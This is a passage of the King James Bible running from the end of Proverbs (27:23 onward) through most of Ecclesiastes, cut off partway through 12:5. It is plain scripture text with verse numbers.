foolishness depart from him. + +27:23 Be thou diligent to know the state of thy flocks, and look well +to thy herds. + +27:24 For riches are not for ever: and doth the crown endure to every +generation? 27:25 The hay appeareth, and the tender grass sheweth +itself, and herbs of the mountains are gathered. + +27:26 The lambs are for thy clothing, and the goats are the price of +the field. + +27:27 And thou shalt have goats' milk enough for thy food, for the +food of thy household, and for the maintenance for thy maidens. + +28:1 The wicked flee when no man pursueth: but the righteous are bold +as a lion. + +28:2 For the transgression of a land many are the princes thereof: but +by a man of understanding and knowledge the state thereof shall be +prolonged. + +28:3 A poor man that oppresseth the poor is like a sweeping rain which +leaveth no food. + +28:4 They that forsake the law praise the wicked: but such as keep the +law contend with them. + +28:5 Evil men understand not judgment: but they that seek the LORD +understand all things. + +28:6 Better is the poor that walketh in his uprightness, than he that +is perverse in his ways, though he be rich. + +28:7 Whoso keepeth the law is a wise son: but he that is a companion +of riotous men shameth his father. + +28:8 He that by usury and unjust gain increaseth his substance, he +shall gather it for him that will pity the poor. + +28:9 He that turneth away his ear from hearing the law, even his +prayer shall be abomination. + +28:10 Whoso causeth the righteous to go astray in an evil way, he +shall fall himself into his own pit: but the upright shall have good +things in possession. + +28:11 The rich man is wise in his own conceit; but the poor that hath +understanding searcheth him out. + +28:12 When righteous men do rejoice, there is great glory: but when +the wicked rise, a man is hidden. + +28:13 He that covereth his sins shall not prosper: but whoso +confesseth and forsaketh them shall have mercy. + +28:14 Happy is the man that feareth alway: but he that hardeneth his +heart shall fall into mischief. + +28:15 As a roaring lion, and a ranging bear; so is a wicked ruler over +the poor people. + +28:16 The prince that wanteth understanding is also a great oppressor: +but he that hateth covetousness shall prolong his days. + +28:17 A man that doeth violence to the blood of any person shall flee +to the pit; let no man stay him. + +28:18 Whoso walketh uprightly shall be saved: but he that is perverse +in his ways shall fall at once. + +28:19 He that tilleth his land shall have plenty of bread: but he that +followeth after vain persons shall have poverty enough. + +28:20 A faithful man shall abound with blessings: but he that maketh +haste to be rich shall not be innocent. + +28:21 To have respect of persons is not good: for for a piece of bread +that man will transgress. + +28:22 He that hasteth to be rich hath an evil eye, and considereth not +that poverty shall come upon him. + +28:23 He that rebuketh a man afterwards shall find more favour than he +that flattereth with the tongue. + +28:24 Whoso robbeth his father or his mother, and saith, It is no +transgression; the same is the companion of a destroyer. + +28:25 He that is of a proud heart stirreth up strife: but he that +putteth his trust in the LORD shall be made fat. + +28:26 He that trusteth in his own heart is a fool: but whoso walketh +wisely, he shall be delivered. + +28:27 He that giveth unto the poor shall not lack: but he that hideth +his eyes shall have many a curse. + +28:28 When the wicked rise, men hide themselves: but when they perish, +the righteous increase. + +29:1 He, that being often reproved hardeneth his neck, shall suddenly +be destroyed, and that without remedy. + +29:2 When the righteous are in authority, the people rejoice: but when +the wicked beareth rule, the people mourn. + +29:3 Whoso loveth wisdom rejoiceth his father: but he that keepeth +company with harlots spendeth his substance. + +29:4 The king by judgment establisheth the land: but he that receiveth +gifts overthroweth it. + +29:5 A man that flattereth his neighbour spreadeth a net for his feet. + +29:6 In the transgression of an evil man there is a snare: but the +righteous doth sing and rejoice. + +29:7 The righteous considereth the cause of the poor: but the wicked +regardeth not to know it. + +29:8 Scornful men bring a city into a snare: but wise men turn away +wrath. + +29:9 If a wise man contendeth with a foolish man, whether he rage or +laugh, there is no rest. + +29:10 The bloodthirsty hate the upright: but the just seek his soul. + +29:11 A fool uttereth all his mind: but a wise man keepeth it in till +afterwards. + +29:12 If a ruler hearken to lies, all his servants are wicked. + +29:13 The poor and the deceitful man meet together: the LORD +lighteneth both their eyes. + +29:14 The king that faithfully judgeth the poor, his throne shall be +established for ever. + +29:15 The rod and reproof give wisdom: but a child left to himself +bringeth his mother to shame. + +29:16 When the wicked are multiplied, transgression increaseth: but +the righteous shall see their fall. + +29:17 Correct thy son, and he shall give thee rest; yea, he shall give +delight unto thy soul. + +29:18 Where there is no vision, the people perish: but he that keepeth +the law, happy is he. + +29:19 A servant will not be corrected by words: for though he +understand he will not answer. + +29:20 Seest thou a man that is hasty in his words? there is more hope +of a fool than of him. + +29:21 He that delicately bringeth up his servant from a child shall +have him become his son at the length. + +29:22 An angry man stirreth up strife, and a furious man aboundeth in +transgression. + +29:23 A man's pride shall bring him low: but honour shall uphold the +humble in spirit. + +29:24 Whoso is partner with a thief hateth his own soul: he heareth +cursing, and bewrayeth it not. + +29:25 The fear of man bringeth a snare: but whoso putteth his trust in +the LORD shall be safe. + +29:26 Many seek the ruler's favour; but every man's judgment cometh +from the LORD. + +29:27 An unjust man is an abomination to the just: and he that is +upright in the way is abomination to the wicked. + +30:1 The words of Agur the son of Jakeh, even the prophecy: the man +spake unto Ithiel, even unto Ithiel and Ucal, 30:2 Surely I am more +brutish than any man, and have not the understanding of a man. + +30:3 I neither learned wisdom, nor have the knowledge of the holy. + +30:4 Who hath ascended up into heaven, or descended? who hath gathered +the wind in his fists? who hath bound the waters in a garment? who +hath established all the ends of the earth? what is his name, and what +is his son's name, if thou canst tell? 30:5 Every word of God is +pure: he is a shield unto them that put their trust in him. + +30:6 Add thou not unto his words, lest he reprove thee, and thou be +found a liar. + +30:7 Two things have I required of thee; deny me them not before I +die: 30:8 Remove far from me vanity and lies: give me neither poverty +nor riches; feed me with food convenient for me: 30:9 Lest I be full, +and deny thee, and say, Who is the LORD? or lest I be poor, and steal, +and take the name of my God in vain. + +30:10 Accuse not a servant unto his master, lest he curse thee, and +thou be found guilty. + +30:11 There is a generation that curseth their father, and doth not +bless their mother. + +30:12 There is a generation that are pure in their own eyes, and yet +is not washed from their filthiness. + +30:13 There is a generation, O how lofty are their eyes! and their +eyelids are lifted up. + +30:14 There is a generation, whose teeth are as swords, and their jaw +teeth as knives, to devour the poor from off the earth, and the needy +from among men. + +30:15 The horseleach hath two daughters, crying, Give, give. There are +three things that are never satisfied, yea, four things say not, It is +enough: 30:16 The grave; and the barren womb; the earth that is not +filled with water; and the fire that saith not, It is enough. + +30:17 The eye that mocketh at his father, and despiseth to obey his +mother, the ravens of the valley shall pick it out, and the young +eagles shall eat it. + +30:18 There be three things which are too wonderful for me, yea, four +which I know not: 30:19 The way of an eagle in the air; the way of a +serpent upon a rock; the way of a ship in the midst of the sea; and +the way of a man with a maid. + +30:20 Such is the way of an adulterous woman; she eateth, and wipeth +her mouth, and saith, I have done no wickedness. + +30:21 For three things the earth is disquieted, and for four which it +cannot bear: 30:22 For a servant when he reigneth; and a fool when he +is filled with meat; 30:23 For an odious woman when she is married; +and an handmaid that is heir to her mistress. + +30:24 There be four things which are little upon the earth, but they +are exceeding wise: 30:25 The ants are a people not strong, yet they +prepare their meat in the summer; 30:26 The conies are but a feeble +folk, yet make they their houses in the rocks; 30:27 The locusts have +no king, yet go they forth all of them by bands; 30:28 The spider +taketh hold with her hands, and is in kings' palaces. + +30:29 There be three things which go well, yea, four are comely in +going: 30:30 A lion which is strongest among beasts, and turneth not +away for any; 30:31 A greyhound; an he goat also; and a king, against +whom there is no rising up. + +30:32 If thou hast done foolishly in lifting up thyself, or if thou +hast thought evil, lay thine hand upon thy mouth. + +30:33 Surely the churning of milk bringeth forth butter, and the +wringing of the nose bringeth forth blood: so the forcing of wrath +bringeth forth strife. + +31:1 The words of king Lemuel, the prophecy that his mother taught +him. + +31:2 What, my son? and what, the son of my womb? and what, the son of +my vows? 31:3 Give not thy strength unto women, nor thy ways to that +which destroyeth kings. + +31:4 It is not for kings, O Lemuel, it is not for kings to drink wine; +nor for princes strong drink: 31:5 Lest they drink, and forget the +law, and pervert the judgment of any of the afflicted. + +31:6 Give strong drink unto him that is ready to perish, and wine unto +those that be of heavy hearts. + +31:7 Let him drink, and forget his poverty, and remember his misery no +more. + +31:8 Open thy mouth for the dumb in the cause of all such as are +appointed to destruction. + +31:9 Open thy mouth, judge righteously, and plead the cause of the +poor and needy. + +31:10 Who can find a virtuous woman? for her price is far above +rubies. + +31:11 The heart of her husband doth safely trust in her, so that he +shall have no need of spoil. + +31:12 She will do him good and not evil all the days of her life. + +31:13 She seeketh wool, and flax, and worketh willingly with her +hands. + +31:14 She is like the merchants' ships; she bringeth her food from +afar. + +31:15 She riseth also while it is yet night, and giveth meat to her +household, and a portion to her maidens. + +31:16 She considereth a field, and buyeth it: with the fruit of her +hands she planteth a vineyard. + +31:17 She girdeth her loins with strength, and strengtheneth her arms. + +31:18 She perceiveth that her merchandise is good: her candle goeth +not out by night. + +31:19 She layeth her hands to the spindle, and her hands hold the +distaff. + +31:20 She stretcheth out her hand to the poor; yea, she reacheth forth +her hands to the needy. + +31:21 She is not afraid of the snow for her household: for all her +household are clothed with scarlet. + +31:22 She maketh herself coverings of tapestry; her clothing is silk +and purple. + +31:23 Her husband is known in the gates, when he sitteth among the +elders of the land. + +31:24 She maketh fine linen, and selleth it; and delivereth girdles +unto the merchant. + +31:25 Strength and honour are her clothing; and she shall rejoice in +time to come. + +31:26 She openeth her mouth with wisdom; and in her tongue is the law +of kindness. + +31:27 She looketh well to the ways of her household, and eateth not +the bread of idleness. + +31:28 Her children arise up, and call her blessed; her husband also, +and he praiseth her. + +31:29 Many daughters have done virtuously, but thou excellest them +all. + +31:30 Favour is deceitful, and beauty is vain: but a woman that +feareth the LORD, she shall be praised. + +31:31 Give her of the fruit of her hands; and let her own works praise +her in the gates. + + + + +Ecclesiastes + +or + +The Preacher + + +1:1 The words of the Preacher, the son of David, king in Jerusalem. + +1:2 Vanity of vanities, saith the Preacher, vanity of vanities; all is +vanity. + +1:3 What profit hath a man of all his labour which he taketh under the +sun? 1:4 One generation passeth away, and another generation cometh: +but the earth abideth for ever. + +1:5 The sun also ariseth, and the sun goeth down, and hasteth to his +place where he arose. + +1:6 The wind goeth toward the south, and turneth about unto the north; +it whirleth about continually, and the wind returneth again according +to his circuits. + +1:7 All the rivers run into the sea; yet the sea is not full; unto the +place from whence the rivers come, thither they return again. + +1:8 All things are full of labour; man cannot utter it: the eye is not +satisfied with seeing, nor the ear filled with hearing. + +1:9 The thing that hath been, it is that which shall be; and that +which is done is that which shall be done: and there is no new thing +under the sun. + +1:10 Is there any thing whereof it may be said, See, this is new? it +hath been already of old time, which was before us. + +1:11 There is no remembrance of former things; neither shall there be +any remembrance of things that are to come with those that shall come +after. + +1:12 I the Preacher was king over Israel in Jerusalem. + +1:13 And I gave my heart to seek and search out by wisdom concerning +all things that are done under heaven: this sore travail hath God +given to the sons of man to be exercised therewith. + +1:14 I have seen all the works that are done under the sun; and, +behold, all is vanity and vexation of spirit. + +1:15 That which is crooked cannot be made straight: and that which is +wanting cannot be numbered. + +1:16 I communed with mine own heart, saying, Lo, I am come to great +estate, and have gotten more wisdom than all they that have been +before me in Jerusalem: yea, my heart had great experience of wisdom +and knowledge. + +1:17 And I gave my heart to know wisdom, and to know madness and +folly: I perceived that this also is vexation of spirit. + +1:18 For in much wisdom is much grief: and he that increaseth +knowledge increaseth sorrow. + +2:1 I said in mine heart, Go to now, I will prove thee with mirth, +therefore enjoy pleasure: and, behold, this also is vanity. + +2:2 I said of laughter, It is mad: and of mirth, What doeth it? 2:3 I +sought in mine heart to give myself unto wine, yet acquainting mine +heart with wisdom; and to lay hold on folly, till I might see what was +that good for the sons of men, which they should do under the heaven +all the days of their life. + +2:4 I made me great works; I builded me houses; I planted me +vineyards: 2:5 I made me gardens and orchards, and I planted trees in +them of all kind of fruits: 2:6 I made me pools of water, to water +therewith the wood that bringeth forth trees: 2:7 I got me servants +and maidens, and had servants born in my house; also I had great +possessions of great and small cattle above all that were in Jerusalem +before me: 2:8 I gathered me also silver and gold, and the peculiar +treasure of kings and of the provinces: I gat me men singers and women +singers, and the delights of the sons of men, as musical instruments, +and that of all sorts. + +2:9 So I was great, and increased more than all that were before me in +Jerusalem: also my wisdom remained with me. + +2:10 And whatsoever mine eyes desired I kept not from them, I withheld +not my heart from any joy; for my heart rejoiced in all my labour: and +this was my portion of all my labour. + +2:11 Then I looked on all the works that my hands had wrought, and on +the labour that I had laboured to do: and, behold, all was vanity and +vexation of spirit, and there was no profit under the sun. + +2:12 And I turned myself to behold wisdom, and madness, and folly: for +what can the man do that cometh after the king? even that which hath +been already done. + +2:13 Then I saw that wisdom excelleth folly, as far as light excelleth +darkness. + +2:14 The wise man's eyes are in his head; but the fool walketh in +darkness: and I myself perceived also that one event happeneth to them +all. + +2:15 Then said I in my heart, As it happeneth to the fool, so it +happeneth even to me; and why was I then more wise? Then I said in my +heart, that this also is vanity. + +2:16 For there is no remembrance of the wise more than of the fool for +ever; seeing that which now is in the days to come shall all be +forgotten. + +And how dieth the wise man? as the fool. + +2:17 Therefore I hated life; because the work that is wrought under +the sun is grievous unto me: for all is vanity and vexation of spirit. + +2:18 Yea, I hated all my labour which I had taken under the sun: +because I should leave it unto the man that shall be after me. + +2:19 And who knoweth whether he shall be a wise man or a fool? yet +shall he have rule over all my labour wherein I have laboured, and +wherein I have shewed myself wise under the sun. This is also vanity. + +2:20 Therefore I went about to cause my heart to despair of all the +labour which I took under the sun. + +2:21 For there is a man whose labour is in wisdom, and in knowledge, +and in equity; yet to a man that hath not laboured therein shall he +leave it for his portion. This also is vanity and a great evil. + +2:22 For what hath man of all his labour, and of the vexation of his +heart, wherein he hath laboured under the sun? 2:23 For all his days +are sorrows, and his travail grief; yea, his heart taketh not rest in +the night. This is also vanity. + +2:24 There is nothing better for a man, than that he should eat and +drink, and that he should make his soul enjoy good in his labour. This +also I saw, that it was from the hand of God. + +2:25 For who can eat, or who else can hasten hereunto, more than I? +2:26 For God giveth to a man that is good in his sight wisdom, and +knowledge, and joy: but to the sinner he giveth travail, to gather and +to heap up, that he may give to him that is good before God. This also +is vanity and vexation of spirit. + +3:1 To every thing there is a season, and a time to every purpose +under the heaven: 3:2 A time to be born, and a time to die; a time to +plant, and a time to pluck up that which is planted; 3:3 A time to +kill, and a time to heal; a time to break down, and a time to build +up; 3:4 A time to weep, and a time to laugh; a time to mourn, and a +time to dance; 3:5 A time to cast away stones, and a time to gather +stones together; a time to embrace, and a time to refrain from +embracing; 3:6 A time to get, and a time to lose; a time to keep, and +a time to cast away; 3:7 A time to rend, and a time to sew; a time to +keep silence, and a time to speak; 3:8 A time to love, and a time to +hate; a time of war, and a time of peace. + +3:9 What profit hath he that worketh in that wherein he laboureth? +3:10 I have seen the travail, which God hath given to the sons of men +to be exercised in it. + +3:11 He hath made every thing beautiful in his time: also he hath set +the world in their heart, so that no man can find out the work that +God maketh from the beginning to the end. + +3:12 I know that there is no good in them, but for a man to rejoice, +and to do good in his life. + +3:13 And also that every man should eat and drink, and enjoy the good +of all his labour, it is the gift of God. + +3:14 I know that, whatsoever God doeth, it shall be for ever: nothing +can be put to it, nor any thing taken from it: and God doeth it, that +men should fear before him. + +3:15 That which hath been is now; and that which is to be hath already +been; and God requireth that which is past. + +3:16 And moreover I saw under the sun the place of judgment, that +wickedness was there; and the place of righteousness, that iniquity +was there. + +3:17 I said in mine heart, God shall judge the righteous and the +wicked: for there is a time there for every purpose and for every +work. + +3:18 I said in mine heart concerning the estate of the sons of men, +that God might manifest them, and that they might see that they +themselves are beasts. + +3:19 For that which befalleth the sons of men befalleth beasts; even +one thing befalleth them: as the one dieth, so dieth the other; yea, +they have all one breath; so that a man hath no preeminence above a +beast: for all is vanity. + +3:20 All go unto one place; all are of the dust, and all turn to dust +again. + +3:21 Who knoweth the spirit of man that goeth upward, and the spirit +of the beast that goeth downward to the earth? 3:22 Wherefore I +perceive that there is nothing better, than that a man should rejoice +in his own works; for that is his portion: for who shall bring him to +see what shall be after him? 4:1 So I returned, and considered all +the oppressions that are done under the sun: and behold the tears of +such as were oppressed, and they had no comforter; and on the side of +their oppressors there was power; but they had no comforter. + +4:2 Wherefore I praised the dead which are already dead more than the +living which are yet alive. + +4:3 Yea, better is he than both they, which hath not yet been, who +hath not seen the evil work that is done under the sun. + +4:4 Again, I considered all travail, and every right work, that for +this a man is envied of his neighbour. This is also vanity and +vexation of spirit. + +4:5 The fool foldeth his hands together, and eateth his own flesh. + +4:6 Better is an handful with quietness, than both the hands full with +travail and vexation of spirit. + +4:7 Then I returned, and I saw vanity under the sun. + +4:8 There is one alone, and there is not a second; yea, he hath +neither child nor brother: yet is there no end of all his labour; +neither is his eye satisfied with riches; neither saith he, For whom +do I labour, and bereave my soul of good? This is also vanity, yea, it +is a sore travail. + +4:9 Two are better than one; because they have a good reward for their +labour. + +4:10 For if they fall, the one will lift up his fellow: but woe to him +that is alone when he falleth; for he hath not another to help him up. + +4:11 Again, if two lie together, then they have heat: but how can one +be warm alone? 4:12 And if one prevail against him, two shall +withstand him; and a threefold cord is not quickly broken. + +4:13 Better is a poor and a wise child than an old and foolish king, +who will no more be admonished. + +4:14 For out of prison he cometh to reign; whereas also he that is +born in his kingdom becometh poor. + +4:15 I considered all the living which walk under the sun, with the +second child that shall stand up in his stead. + +4:16 There is no end of all the people, even of all that have been +before them: they also that come after shall not rejoice in him. +Surely this also is vanity and vexation of spirit. + +5:1 Keep thy foot when thou goest to the house of God, and be more +ready to hear, than to give the sacrifice of fools: for they consider +not that they do evil. + +5:2 Be not rash with thy mouth, and let not thine heart be hasty to +utter any thing before God: for God is in heaven, and thou upon earth: +therefore let thy words be few. + +5:3 For a dream cometh through the multitude of business; and a fool's +voice is known by multitude of words. + +5:4 When thou vowest a vow unto God, defer not to pay it; for he hath +no pleasure in fools: pay that which thou hast vowed. + +5:5 Better is it that thou shouldest not vow, than that thou shouldest +vow and not pay. + +5:6 Suffer not thy mouth to cause thy flesh to sin; neither say thou +before the angel, that it was an error: wherefore should God be angry +at thy voice, and destroy the work of thine hands? 5:7 For in the +multitude of dreams and many words there are also divers vanities: but +fear thou God. + +5:8 If thou seest the oppression of the poor, and violent perverting +of judgment and justice in a province, marvel not at the matter: for +he that is higher than the highest regardeth; and there be higher than +they. + +5:9 Moreover the profit of the earth is for all: the king himself is +served by the field. + +5:10 He that loveth silver shall not be satisfied with silver; nor he +that loveth abundance with increase: this is also vanity. + +5:11 When goods increase, they are increased that eat them: and what +good is there to the owners thereof, saving the beholding of them with +their eyes? 5:12 The sleep of a labouring man is sweet, whether he +eat little or much: but the abundance of the rich will not suffer him +to sleep. + +5:13 There is a sore evil which I have seen under the sun, namely, +riches kept for the owners thereof to their hurt. + +5:14 But those riches perish by evil travail: and he begetteth a son, +and there is nothing in his hand. + +5:15 As he came forth of his mother's womb, naked shall he return to +go as he came, and shall take nothing of his labour, which he may +carry away in his hand. + +5:16 And this also is a sore evil, that in all points as he came, so +shall he go: and what profit hath he that hath laboured for the wind? +5:17 All his days also he eateth in darkness, and he hath much sorrow +and wrath with his sickness. + +5:18 Behold that which I have seen: it is good and comely for one to +eat and to drink, and to enjoy the good of all his labour that he +taketh under the sun all the days of his life, which God giveth him: +for it is his portion. + +5:19 Every man also to whom God hath given riches and wealth, and hath +given him power to eat thereof, and to take his portion, and to +rejoice in his labour; this is the gift of God. + +5:20 For he shall not much remember the days of his life; because God +answereth him in the joy of his heart. + +6:1 There is an evil which I have seen under the sun, and it is common +among men: 6:2 A man to whom God hath given riches, wealth, and +honour, so that he wanteth nothing for his soul of all that he +desireth, yet God giveth him not power to eat thereof, but a stranger +eateth it: this is vanity, and it is an evil disease. + +6:3 If a man beget an hundred children, and live many years, so that +the days of his years be many, and his soul be not filled with good, +and also that he have no burial; I say, that an untimely birth is +better than he. + +6:4 For he cometh in with vanity, and departeth in darkness, and his +name shall be covered with darkness. + +6:5 Moreover he hath not seen the sun, nor known any thing: this hath +more rest than the other. + +6:6 Yea, though he live a thousand years twice told, yet hath he seen +no good: do not all go to one place? 6:7 All the labour of man is for +his mouth, and yet the appetite is not filled. + +6:8 For what hath the wise more than the fool? what hath the poor, +that knoweth to walk before the living? 6:9 Better is the sight of +the eyes than the wandering of the desire: this is also vanity and +vexation of spirit. + +6:10 That which hath been is named already, and it is known that it is +man: neither may he contend with him that is mightier than he. + +6:11 Seeing there be many things that increase vanity, what is man the +better? 6:12 For who knoweth what is good for man in this life, all +the days of his vain life which he spendeth as a shadow? for who can +tell a man what shall be after him under the sun? 7:1 A good name is +better than precious ointment; and the day of death than the day of +one's birth. + +7:2 It is better to go to the house of mourning, than to go to the +house of feasting: for that is the end of all men; and the living will +lay it to his heart. + +7:3 Sorrow is better than laughter: for by the sadness of the +countenance the heart is made better. + +7:4 The heart of the wise is in the house of mourning; but the heart +of fools is in the house of mirth. + +7:5 It is better to hear the rebuke of the wise, than for a man to +hear the song of fools. + +7:6 For as the crackling of thorns under a pot, so is the laughter of +the fool: this also is vanity. + +7:7 Surely oppression maketh a wise man mad; and a gift destroyeth the +heart. + +7:8 Better is the end of a thing than the beginning thereof: and the +patient in spirit is better than the proud in spirit. + +7:9 Be not hasty in thy spirit to be angry: for anger resteth in the +bosom of fools. + +7:10 Say not thou, What is the cause that the former days were better +than these? for thou dost not enquire wisely concerning this. + +7:11 Wisdom is good with an inheritance: and by it there is profit to +them that see the sun. + +7:12 For wisdom is a defence, and money is a defence: but the +excellency of knowledge is, that wisdom giveth life to them that have +it. + +7:13 Consider the work of God: for who can make that straight, which +he hath made crooked? 7:14 In the day of prosperity be joyful, but in +the day of adversity consider: God also hath set the one over against +the other, to the end that man should find nothing after him. + +7:15 All things have I seen in the days of my vanity: there is a just +man that perisheth in his righteousness, and there is a wicked man +that prolongeth his life in his wickedness. + +7:16 Be not righteous over much; neither make thyself over wise: why +shouldest thou destroy thyself ? 7:17 Be not over much wicked, +neither be thou foolish: why shouldest thou die before thy time? 7:18 +It is good that thou shouldest take hold of this; yea, also from this +withdraw not thine hand: for he that feareth God shall come forth of +them all. + +7:19 Wisdom strengtheneth the wise more than ten mighty men which are +in the city. + +7:20 For there is not a just man upon earth, that doeth good, and +sinneth not. + +7:21 Also take no heed unto all words that are spoken; lest thou hear +thy servant curse thee: 7:22 For oftentimes also thine own heart +knoweth that thou thyself likewise hast cursed others. + +7:23 All this have I proved by wisdom: I said, I will be wise; but it +was far from me. + +7:24 That which is far off, and exceeding deep, who can find it out? +7:25 I applied mine heart to know, and to search, and to seek out +wisdom, and the reason of things, and to know the wickedness of folly, +even of foolishness and madness: 7:26 And I find more bitter than +death the woman, whose heart is snares and nets, and her hands as +bands: whoso pleaseth God shall escape from her; but the sinner shall +be taken by her. + +7:27 Behold, this have I found, saith the preacher, counting one by +one, to find out the account: 7:28 Which yet my soul seeketh, but I +find not: one man among a thousand have I found; but a woman among all +those have I not found. + +7:29 Lo, this only have I found, that God hath made man upright; but +they have sought out many inventions. + +8:1 Who is as the wise man? and who knoweth the interpretation of a +thing? a man's wisdom maketh his face to shine, and the boldness of +his face shall be changed. + +8:2 I counsel thee to keep the king's commandment, and that in regard +of the oath of God. + +8:3 Be not hasty to go out of his sight: stand not in an evil thing; +for he doeth whatsoever pleaseth him. + +8:4 Where the word of a king is, there is power: and who may say unto +him, What doest thou? 8:5 Whoso keepeth the commandment shall feel no +evil thing: and a wise man's heart discerneth both time and judgment. + +8:6 Because to every purpose there is time and judgment, therefore the +misery of man is great upon him. + +8:7 For he knoweth not that which shall be: for who can tell him when +it shall be? 8:8 There is no man that hath power over the spirit to +retain the spirit; neither hath he power in the day of death: and +there is no discharge in that war; neither shall wickedness deliver +those that are given to it. + +8:9 All this have I seen, and applied my heart unto every work that is +done under the sun: there is a time wherein one man ruleth over +another to his own hurt. + +8:10 And so I saw the wicked buried, who had come and gone from the +place of the holy, and they were forgotten in the city where they had +so done: this is also vanity. + +8:11 Because sentence against an evil work is not executed speedily, +therefore the heart of the sons of men is fully set in them to do +evil. + +8:12 Though a sinner do evil an hundred times, and his days be +prolonged, yet surely I know that it shall be well with them that fear +God, which fear before him: 8:13 But it shall not be well with the +wicked, neither shall he prolong his days, which are as a shadow; +because he feareth not before God. + +8:14 There is a vanity which is done upon the earth; that there be +just men, unto whom it happeneth according to the work of the wicked; +again, there be wicked men, to whom it happeneth according to the work +of the righteous: I said that this also is vanity. + +8:15 Then I commended mirth, because a man hath no better thing under +the sun, than to eat, and to drink, and to be merry: for that shall +abide with him of his labour the days of his life, which God giveth +him under the sun. + +8:16 When I applied mine heart to know wisdom, and to see the business +that is done upon the earth: (for also there is that neither day nor +night seeth sleep with his eyes:) 8:17 Then I beheld all the work of +God, that a man cannot find out the work that is done under the sun: +because though a man labour to seek it out, yet he shall not find it; +yea farther; though a wise man think to know it, yet shall he not be +able to find it. + +9:1 For all this I considered in my heart even to declare all this, +that the righteous, and the wise, and their works, are in the hand of +God: no man knoweth either love or hatred by all that is before them. + +9:2 All things come alike to all: there is one event to the righteous, +and to the wicked; to the good and to the clean, and to the unclean; +to him that sacrificeth, and to him that sacrificeth not: as is the +good, so is the sinner; and he that sweareth, as he that feareth an +oath. + +9:3 This is an evil among all things that are done under the sun, that +there is one event unto all: yea, also the heart of the sons of men is +full of evil, and madness is in their heart while they live, and after +that they go to the dead. + +9:4 For to him that is joined to all the living there is hope: for a +living dog is better than a dead lion. + +9:5 For the living know that they shall die: but the dead know not any +thing, neither have they any more a reward; for the memory of them is +forgotten. + +9:6 Also their love, and their hatred, and their envy, is now +perished; neither have they any more a portion for ever in any thing +that is done under the sun. + +9:7 Go thy way, eat thy bread with joy, and drink thy wine with a +merry heart; for God now accepteth thy works. + +9:8 Let thy garments be always white; and let thy head lack no +ointment. + +9:9 Live joyfully with the wife whom thou lovest all the days of the +life of thy vanity, which he hath given thee under the sun, all the +days of thy vanity: for that is thy portion in this life, and in thy +labour which thou takest under the sun. + +9:10 Whatsoever thy hand findeth to do, do it with thy might; for +there is no work, nor device, nor knowledge, nor wisdom, in the grave, +whither thou goest. + +9:11 I returned, and saw under the sun, that the race is not to the +swift, nor the battle to the strong, neither yet bread to the wise, +nor yet riches to men of understanding, nor yet favour to men of +skill; but time and chance happeneth to them all. + +9:12 For man also knoweth not his time: as the fishes that are taken +in an evil net, and as the birds that are caught in the snare; so are +the sons of men snared in an evil time, when it falleth suddenly upon +them. + +9:13 This wisdom have I seen also under the sun, and it seemed great +unto me: 9:14 There was a little city, and few men within it; and +there came a great king against it, and besieged it, and built great +bulwarks against it: 9:15 Now there was found in it a poor wise man, +and he by his wisdom delivered the city; yet no man remembered that +same poor man. + +9:16 Then said I, Wisdom is better than strength: nevertheless the +poor man's wisdom is despised, and his words are not heard. + +9:17 The words of wise men are heard in quiet more than the cry of him +that ruleth among fools. + +9:18 Wisdom is better than weapons of war: but one sinner destroyeth +much good. + +10:1 Dead flies cause the ointment of the apothecary to send forth a +stinking savour: so doth a little folly him that is in reputation for +wisdom and honour. + +10:2 A wise man's heart is at his right hand; but a fool's heart at +his left. + +10:3 Yea also, when he that is a fool walketh by the way, his wisdom +faileth him, and he saith to every one that he is a fool. + +10:4 If the spirit of the ruler rise up against thee, leave not thy +place; for yielding pacifieth great offences. + +10:5 There is an evil which I have seen under the sun, as an error +which proceedeth from the ruler: 10:6 Folly is set in great dignity, +and the rich sit in low place. + +10:7 I have seen servants upon horses, and princes walking as servants +upon the earth. + +10:8 He that diggeth a pit shall fall into it; and whoso breaketh an +hedge, a serpent shall bite him. + +10:9 Whoso removeth stones shall be hurt therewith; and he that +cleaveth wood shall be endangered thereby. + +10:10 If the iron be blunt, and he do not whet the edge, then must he +put to more strength: but wisdom is profitable to direct. + +10:11 Surely the serpent will bite without enchantment; and a babbler +is no better. + +10:12 The words of a wise man's mouth are gracious; but the lips of a +fool will swallow up himself. + +10:13 The beginning of the words of his mouth is foolishness: and the +end of his talk is mischievous madness. + +10:14 A fool also is full of words: a man cannot tell what shall be; +and what shall be after him, who can tell him? 10:15 The labour of +the foolish wearieth every one of them, because he knoweth not how to +go to the city. + +10:16 Woe to thee, O land, when thy king is a child, and thy princes +eat in the morning! 10:17 Blessed art thou, O land, when thy king is +the son of nobles, and thy princes eat in due season, for strength, +and not for drunkenness! 10:18 By much slothfulness the building +decayeth; and through idleness of the hands the house droppeth +through. + +10:19 A feast is made for laughter, and wine maketh merry: but money +answereth all things. + +10:20 Curse not the king, no not in thy thought; and curse not the +rich in thy bedchamber: for a bird of the air shall carry the voice, +and that which hath wings shall tell the matter. + +11:1 Cast thy bread upon the waters: for thou shalt find it after many +days. + +11:2 Give a portion to seven, and also to eight; for thou knowest not +what evil shall be upon the earth. + +11:3 If the clouds be full of rain, they empty themselves upon the +earth: and if the tree fall toward the south, or toward the north, in +the place where the tree falleth, there it shall be. + +11:4 He that observeth the wind shall not sow; and he that regardeth +the clouds shall not reap. + +11:5 As thou knowest not what is the way of the spirit, nor how the +bones do grow in the womb of her that is with child: even so thou +knowest not the works of God who maketh all. + +11:6 In the morning sow thy seed, and in the evening withhold not +thine hand: for thou knowest not whether shall prosper, either this or +that, or whether they both shall be alike good. + +11:7 Truly the light is sweet, and a pleasant thing it is for the eyes +to behold the sun: 11:8 But if a man live many years, and rejoice in +them all; yet let him remember the days of darkness; for they shall be +many. All that cometh is vanity. + +11:9 Rejoice, O young man, in thy youth; and let thy heart cheer thee +in the days of thy youth, and walk in the ways of thine heart, and in +the sight of thine eyes: but know thou, that for all these things God +will bring thee into judgment. + +11:10 Therefore remove sorrow from thy heart, and put away evil from +thy flesh: for childhood and youth are vanity. + +12:1 Remember now thy Creator in the days of thy youth, while the evil +days come not, nor the years draw nigh, when thou shalt say, I have no +pleasure in them; 12:2 While the sun, or the light, or the moon, or +the stars, be not darkened, nor the clouds return after the rain: 12:3 +In the day when the keepers of the house shall tremble, and the strong +men shall bow themselves, and the grinders cease because they are few, +and those that look out of the windows be darkened, 12:4 And the doors +shall be shut in the streets, when the sound of the grinding is low, +and he shall rise up at the voice of the bird, and all the daughters +of musick shall be brought low; 12:5 Also when they shall be afraid of +that which is high, and fears shall be in the way, and the almond tree +shall flourish, and the grasshopper shall be a burden, and desire +shall fail: because man goeth to his long home, and the mourners go 